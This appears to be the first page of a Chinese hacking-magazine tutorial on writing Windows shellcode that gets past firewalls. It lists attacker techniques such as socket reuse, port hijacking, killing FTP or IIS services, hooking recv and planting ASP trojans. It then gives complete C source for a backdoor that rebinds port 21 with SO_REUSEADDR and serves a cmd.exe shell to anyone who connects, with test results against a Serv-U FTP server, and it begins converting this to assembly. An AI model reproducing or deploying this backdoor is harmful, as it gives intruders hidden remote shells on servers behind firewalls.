
适合读者:漏洞研究员、入侵爱好者
前置知识:C、汇编阅读能力,调试工具使用能力
WTF:上一篇《打造Windows下自己的ShellCode》讲解了Windows下ShellCode的编写步骤,并且以打开DOS窗口的代码为例,详细介绍了编写、提取ShellCode的整个过程。但开一个本地DOS窗口
ShellCode编写实例——突破防火墙的ShellCode
文/图 ww0830
现在网络上获得控制台的ShellCode要么是在目标机上开一个端口,等待攻击者连接;要么是让目标机主动连接攻击者的主机,俗称反向连接。但前种方法一般都会被防火墙挡住,而后者反连不但需要攻击者有一个公网IP,而且也会被目标机端禁止外连访问的防火墙挡掉。那有没有更好的办法呢?
当然有了!不然大家认为WTF老大会让我在这里瞎折腾?!
第一种方法就是复用攻击时的Socket。我们在给目标机发送攻击字符串的时候,就使用了Socket,如果还存在,我们把它找到并回收利用。ShellCode完成的功能是查找进程中所有的Socket并依次判断,如果是那个发送攻击字符串的Socket,就使用它来传文件,开后门等等。
第二种方法是复用端口。作为服务器,防火墙总会打开提高服务所需要的端口,比如FTP的21端口,IIS的80端口等。我们在ShellCode中复用这些防火墙打开的端口,并完成自己想要的功能。
第三种方法是终止掉目标机上的FTP或IIS等服务,然后再占用21、80等端口。这种方法在法二失败的情况下可以使用。
还有其它的一些方法,比如红色代码蠕虫使用的Hook技术,它是把TcpSockSend函数替换掉,这样发给任何客户的信息都是“Hacker by Chinese”,我们也可以把接收函数Recv函数Hook掉,保证即执行攻击者发过去的命令,又不影响正常的服务。
另外还可以查找Socket,把所有的Socket都绑定一个DOS Shell;如果知道网站的物理路径,还可以由ShellCode直接创建一个ASP木马!当然还可以添加用户,创建虚拟映射盘,直接写一个EXE的木马并执行等……方法很多,要用发散性的思维考虑!只要想的到,不要管做得到做不到!
不管做得到做不到?这些思路都可以实现吗?其实在《Windows下ShellCode编写初步》一文中已经讲过,ShellCode就是一段代码的机器码形式,所以只要ShellCode不要太长,并符合特殊字符的规划,运行起来是不会有问题的。来个实际的编写例子吧,这里就以第二种思路――复用端口,来讲解突破防火墙ShellCode的实现。
C实现重用端口
一般情况下,已经绑定的端口是不能再次被绑定的,但可以使用Setsockopt函数来改变这一点。Setsockopt函数原型如下,
int setsockopt(
SOCKET s,
int level,
int optname,
const char* optval,
int optlen
);
第一个参数为要改变的Socket标志符,第二个参数为选项的等级,第三个参数就是要改成的选项名了,第四第五个参数为请求值缓冲区的指针和大小。具体实现时,把第三个参数设为SO_REUSEADDR,就可以重用已绑定的端口了。代码如下:
BOOL val = TRUE;
setsockopt(listenFD, SOL_SOCKET, SO_REUSEADDR, (char *)&val, sizeof(val)
其它的和一般的后门编写就一样了。怎么样,很简单吧?
WTF:该方法只有在原来的程序没有使用SO_EXCLUSIVEADDRUSE选项来绑定端口的情况下,才能使用SO_REUSEADDR成功。如果使用了SO_EXCLUSIVEADDRUSE选项,就只能用其它的方法绑定端口了。
Telnet后门的编写
端口可以重用之后,总要加点功能来显示这种方法的优劣吧?空说复用端口好有什么用呢?所以再加上一个大家都看得见的功能:给连接端口的客户开一个远程的Shell。
开远程的Shell比较简单,用CreateProcess函数建立CMD进程,并把进程的输入输出和错误句柄都换成我们的Socket就可以了。注意这里的Socket要用WSASocket函数建立才能这样替换,而用Socket函数建立的就只能用管道来通信了。这些不在本文的讨论之内,大家可以参看以前和将来的黑防,都会有讲的。
C实现的程序如下。
int main()
{
WSADATA ws;
SOCKET listenFD;
int ret;
//初始化wsa
WSAStartup(MAKEWORD(2,2),&ws);
//注意要用WSASocket
listenFD = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
//设置套接字选项,SO_REUSEADDR选项就是可以实现端口重绑定的
//但如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功
BOOL val = TRUE;
setsockopt(listenFD, SOL_SOCKET, SO_REUSEADDR, (char *)&val, sizeof(val) );
//监听本机21端口
struct sockaddr_in server;
server.sin_family = AF_INET;
server.sin_port = htons(21);
server.sin_addr.s_addr = inet_addr("127.0.0.1");
ret=bind(listenFD,(sockaddr *)&server,sizeof(server));
ret=listen(listenFD,2);
//如果客户请求21端口,接受连接
int iAddrSize = sizeof(server);
SOCKET clientFD=accept(listenFD,(sockaddr *)&server,&iAddrSize);
STARTUPINFO si;
ZeroMemory(&si,sizeof(si));
si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
//设置为输入输出句柄为Socket
si.hStdInput = si.hStdOutput = si.hStdError = (void *)clientFD;
char cmdLine[] = "cmd";
PROCESS_INFORMATION ProcessInformation;
//建立进程
ret=CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation);
return 0;
}
测试一下,先安装一个Serv_U FTP服务器,那么它会打开21端口。如果Telnet 21端口,就会得到Serv_U的Banner,如下图1所示。

图1
现在执行我们的程序,就会重新绑定21端口。用Netstat –an查看,会发现有两个21端口在监听,一个的IP是.0,一个是127.0.0.1。如图2所示。

图2
现在再Telnet 21端口,这次得到的是Shell!哈哈,没错,我们的程序抢掉了Serv_U用的21端口,突破成功!如图3所示。

图3
汇编的编写
C程序代码成功实现后,就要把它变为有ShellCode特点的汇编了。
《打造Windows下自己的ShellCode》一文中分析过,Windows下函数的调用是先将参数从右到左入栈,然后Call 函数的地址,所以首先要找出所有函数的地址并记下来。
我写了个“FindAddress.cpp”,来查找这次所有要用的函数地址。先LoadLibrary函数所在的Dll,再GetProcAddress函数名,最后打印出得到的地址。以后要查找其它函数地址时,只要更改LoadLibrary和GetProcAddress参数里的Dll名和函数名就可以了。
在我的系统XP sp0下,执行的效果如下图4所示。

图4
1 2 3 下一页